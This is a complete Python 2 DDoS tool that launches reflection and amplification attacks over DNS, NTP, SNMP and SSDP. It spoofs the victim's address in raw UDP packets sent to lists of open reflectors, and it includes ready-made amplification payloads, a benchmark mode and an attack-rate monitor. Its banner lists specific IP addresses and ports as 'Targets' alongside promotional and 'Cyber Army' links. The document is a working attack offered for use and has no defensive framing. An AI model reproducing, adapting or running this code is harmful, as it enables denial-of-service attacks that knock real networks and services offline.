NTP/DNS/SSDP/SNMP Amplification Script (Python)

#!/usr/bin/env python
import sys
import time
import socket
import struct
import threading
from random import randint
from optparse import OptionParser
from pinject import IP, UDP

USAGE = '''
%prog target.com [options]        # DDoS
%prog benchmark [options]         # Calculate AMPLIFICATION factor
'''

LOGO = r'''
Remote IT Support - http://remoteitsupport.unaux.com
VPS Hosting - http://fastserversnow.duoservers.com
* Twitter - https://twitter.com/OrlandoPCRepair
* Facebook - https://facebook.com/OrlandoPCRepair
* Youtube - https://youtube.com/user/OrlandoPCRepair

USA Cyber Army - http://www.Facebook.com/USACyberArmy1ST
* FREE Bitcoin - https://get.cryptobrowser.site/8130455
* Work at Home - https://picoworkers.com/?a=0c3aa3ac
* Get Paid to share links - https://join-adf.ly/22815313

Targets: https://www.cfr.org/global-conflict-tracker/?category=us

164.51.167.157 port 22
164.51.167.158 port 22
8.26.112.197 port 53
8.26.112.200 port 53
'''

HELP = (
    'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]',
    'NTP Amplification file',
    'SNMP Amplification file',
    'SSDP Amplification file',
    'Number of threads (default=1)' )

OPTIONS = (
    (('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])),
    (('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
    (('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
    (('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
    (('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) )

BENCHMARK = (
    'Protocol'
    '|  IP  Address  '
    '|     Amplification     '
    '|     Domain    '
    '\n{}').format('-'*75)

ATTACK = (
    '     Sent      '
    '|    Traffic    '
    '|    Packet/s   '
    '|     Bit/s     '
    '\n{}').format('-'*63)

PORT = {
    'dns': 53,
    'ntp': 123,
    'snmp': 161,
    'ssdp': 1900 }

PAYLOAD = {
    'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
            '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
            '\x00\x00\x00\x00\x00\x00'),
    'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
        '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
        '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
        '\x01\x02\x01\x05\x00'),
    'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
    'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
        'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
}

amplification = {
    'dns': {},
    'ntp': {},
    'snmp': {},
    'ssdp': {} }        # Amplification factor

FILE_NAME = 0           # Index of files names
FILE_HANDLE = 1         # Index of files descriptors

npackets = 0            # Number of packets sent
nbytes = 0              # Number of bytes reflected
files = {}              # Amplifications files

SUFFIX = {
    0: '',
    1: 'K',
    2: 'M',
    3: 'G',
    4: 'T'}

def Calc(n, d, unit=''):
    i = 0
    r = float(n)
    while r/d>=1:
        r = r/d
        i+= 1
    return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)

def GetDomainList(domains):
    domain_list = []

    if '.TXT' in domains.upper():
        file = open(domains, 'r')
        content = file.read()
        file.close()
        content = content.replace('\r', '')
        content = content.replace(' ', '')
        content = content.split('\n')
        for domain in content:
            if domain:
                domain_list.append(domain)
    else:
        domain_list = domains.split(',')
    return domain_list

def Monitor():
    '''
        Monitor attack
    '''
    print ATTACK
    FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
    start = time.time()
    while True:
        try:
            current = time.time() - start
            bps = (nbytes*8)/current
            pps = npackets/current
            out = FMT.format(Calc(npackets, 1000),
                Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps'))
            sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
            time.sleep(1)
        except KeyboardInterrupt:
            print '\nInterrupted'
            break
        except Exception as err:
            print '\nError:', str(err)
            break


def AmpFactor(recvd, sent):
    return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)

def Benchmark(ddos):
    print BENCHMARK
    i = 0
    for proto in files:
        f = open(files[proto][FILE_NAME], 'r')
        while True:
            soldier = f.readline().strip()
            if soldier:
                if proto=='dns':
                    for domain in ddos.domains:
                        i+= 1
                        recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
                        if recvd/sent:
                            print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
                                AmpFactor(recvd, sent), domain)
                        else:
                            continue
                else:
                    recvd, sent = ddos.GetAmpSize(proto, soldier)
                    print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
                        AmpFactor(recvd, sent), 'N/A')
                    i+= 1
            else:
                break
        print 'Total tested:', i
        f.close()

class DDoS(object):
    def __init__(self, target, threads, domains, event):
        self.target = target
        self.threads = threads
        self.event = event
        self.domains = domains
    def stress(self):
        for i in range(self.threads):
            t = threading.Thread(target=self.__attack)
            t.start()
    def __send(self, sock, soldier, proto, payload):
        '''
            Send a Spoofed Packet
        '''
        udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
        ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
        sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
    def GetAmpSize(self, proto, soldier, domain=''):
        '''
            Get Amplification Size
        '''
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(2)
        data = ''
        if proto in ['ntp', 'ssdp']:
            packet = PAYLOAD[proto]
            sock.sendto(packet, (soldier, PORT[proto]))
            try:
                while True:
                    data+= sock.recvfrom(65535)[0]
            except socket.timeout:
                sock.close()
                return len(data), len(packet)
        if proto=='dns':
            packet = self.__GetDnsQuery(domain)
        else:
            packet = PAYLOAD[proto]
        try:
            sock.sendto(packet, (soldier, PORT[proto]))
            data, _ = sock.recvfrom(65535)
        except socket.timeout:
            data = ''
        finally:
            sock.close()
        return len(data), len(packet)
    def __GetQName(self, domain):
        '''
            QNAME A domain name represented as a sequence of labels
            where each label consists of a length
            octet followed by that number of octets
        '''
        labels = domain.split('.')
        QName = ''
        for label in labels:
            if len(label):
                QName += struct.pack('B', len(label)) + label
        return QName
    def __GetDnsQuery(self, domain):
        id = struct.pack('H', randint(0, 65535))
        QName = self.__GetQName(domain)
        return PAYLOAD['dns'].format(id, QName)
    def __attack(self):
        global npackets
        global nbytes
        _files = files
        for proto in _files:    # Open Amplification files
            f = open(_files[proto][FILE_NAME], 'r')
            _files[proto].append(f)     # _files = {'proto':['file_name', file_handle]}
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        i = 0
        while self.event.isSet():
            for proto in _files:
                soldier = _files[proto][FILE_HANDLE].readline().strip()
                if soldier:
                    if proto=='dns':
                        if not amplification[proto].has_key(soldier):
                            amplification[proto][soldier] = {}
                        for domain in self.domains:
                            if not amplification[proto][soldier].has_key(domain):
                                size, _ = self.GetAmpSize(proto, soldier, domain)
                                if size==0:
                                    break
                                elif size<len(PAYLOAD[proto]):
                                    continue
                                else:
                                    amplification[proto][soldier][domain] = size
                            amp = self.__GetDnsQuery(domain)
                            self.__send(sock, soldier, proto, amp)
                            npackets += 1
                            i+=1
                            nbytes += amplification[proto][soldier][domain]
                    else:
                        if not amplification[proto].has_key(soldier):
                            size, _ = self.GetAmpSize(proto, soldier)
                            if size<len(PAYLOAD[proto]):
                                continue
                            else:
                                amplification[proto][soldier] = size
                        amp = PAYLOAD[proto]
                        npackets += 1
                        i+=1
                        nbytes += amplification[proto][soldier]
                        self.__send(sock, soldier, proto, amp)
                else:
                    _files[proto][FILE_HANDLE].seek(0)
        sock.close()
        for proto in _files:
            _files[proto][FILE_HANDLE].close()

def main():
    parser = OptionParser(usage=USAGE)
    for args, kwargs in OPTIONS:
        parser.add_option(*args, **kwargs)
    options, args = parser.parse_args()
    domains = None
    if len(args)<1:
        parser.print_help()
        sys.exit()
    if options.dns:
        dns_file, domains = options.dns.split(':')
        domains = GetDomainList(domains)
        if domains:
            files['dns'] = [dns_file]
        else:
            print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
            sys.exit()
    if options.ntp:
        files['ntp'] = [options.ntp]
    if options.snmp:
        files['snmp'] = [options.snmp]
    if options.ssdp:
        files['ssdp'] = [options.ssdp]
    if files:
        event = threading.Event()
        event.set()
        if 'BENCHMARK'==args[0].upper():
            ddos = DDoS(args[0], options.threads, domains, event)
            Benchmark(ddos)
        else:
            ddos = DDoS(socket.gethostbyname(args[0]), options.threads, domains, event)
            ddos.stress()
            Monitor()
            event.clear()
    else:
        parser.print_help()
        sys.exit()

if __name__=='__main__':
    print LOGO
    main()